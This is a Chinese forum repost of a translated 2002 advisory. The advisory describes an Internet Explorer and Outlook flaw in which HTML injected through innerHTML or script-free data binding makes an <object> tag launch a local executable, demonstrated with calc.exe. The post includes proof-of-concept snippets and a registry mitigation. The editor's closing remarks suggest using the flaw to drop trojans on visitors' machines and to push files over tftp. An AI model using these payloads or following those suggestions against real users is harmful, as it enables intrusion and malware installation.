发新话题
打印

[转载]无active scripting或activex下执行任意命令

[转载]无active scripting或activex下执行任意命令

文章翻译:sql

受影响的应用程序:

Microsoft Internet Explorer
Microsoft Outlook
Microsoft Outlook Express

简介:

来自2002年一月10号的一份报告中提到,“The Pull”演示了一个老的bug(最初是由Dildog发现的)依然在<object> HTML元素中执行任意命令的可能。
虽然“The Pull”的发现非常有趣,但是他对这个漏洞的分析却是错误的。因为这个问题并不是存在于弹出式对象中,而是由于在一个HTML文件任何地方动态的插入HTML片断造造成的。
所有的“createPopup”所做的就是创建一个包含空HTML文档的窗口,这并不构成什么威胁,但是如果这个空HTML文档中又注射了一个HTML(使用innerHTML),却就成了一个实际的问题了。

举个例子来说吧,下面的代码就会演示上面我所提到的:


代码  


<span id="oSpan"></span>
<script language="jscript" defer>
  oSpan.innerHTML=&#39;<object classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object>&#39;;
</script>




注意:innerHTML并不是唯一的一个可以动态插入HTML代码到任意元素的属性,在某些情况下,使用outerHTML,insertAdjacentHTML等等都可以得到同样的结果。

译者注:把上面代码存为一个html文档,用IE打开后效果如图:



到现在,我们知道了问题产生的原因,这使我们能够找到很多动态插入HTML代码的方法,而不使用任何Active脚本。这就使在“安全保护”环境下使用此BUG成为可能。比如在被禁止了Active脚本和ActiveX空间的Microsoft Outlook和Internet Explorer中使用此bug。

令人性奋的特性之一就是在IE4中的数据邦定。它使开发者完全能够从表示层中分离出任何应用程序数据。作为数据邦定的数据源(DSO)可以是任何文档,比如CSV文档(含TDC)、HTML、XML等等。数据邦定可以邦定像div或者span等HTML元素到数据源(DSO),而不需要一句脚本代码。


我们发现,当"dataFormatAs"属性被设置成“HTML”时,数据邦定内部使用innerHTML以达到插入数据到元素的目的(否则将使用innerText)。

因此我们所需要做的就是提供一个包含有<object>标签的数据源(DSO),剩下的就交给我们的数据邦定引擎吧,别忘了这个可不需要任何脚本代码哦。

利用方法:


在下面的例子中,我们将使用一个XML数据岛(data-island,译者注:我完全按照字面意思翻译的)作为我们的数据源(DSO)和一个span标签。使用XML是非常轻松的,因为它可以被嵌入到文档中而不是需要外部请求,这样会被服务器应用程序给拦截的。


代码  

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
  <security>
     <exploit>
        <![CDATA[
        <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object>
        ]]>
     </exploit>
  </security>
</xml>






试验如下图:


解决方法:

这个没有什么非常有效的办法,只要浏览器解析HTML这个漏洞就会起作用。唯一一个可能的解决办法就是来自微软的补丁了。

注意:

Since the injected <object> runs in the "My Computer" Zone changing the Internet Zone&#39;s settings didn&#39;t affect it, but changing the correct zone&#39;s settings will prevent this exploit from running.

因为被插入的<object>标签是在“我的电脑”域中执行的,所以更改Internet域的设置并不能阻止该漏洞,但是修改correct域的设置可以阻止以上代码的运行。

下面是注册表信息:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]
将DWORD类型的1004修改为3。




该bug成功在以下环境下测试:

IE5.5 Win98.
IE5.5 NT4.
IE6 Win2000.
IE6 WinXP.

编者:呵呵~利用的方法很多啊,比如结合ie其他的bug来down一些马儿到浏览该页的人的机器中,用该漏洞唤醒那些马儿
另外不知道该bug在调用目标机器的可执行程序的时候能否带参数,如果能带参数的话,可以利用目标机器上的tftp传东西过去。。。
还有好多。。。。。 (一位前辈如是说)
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题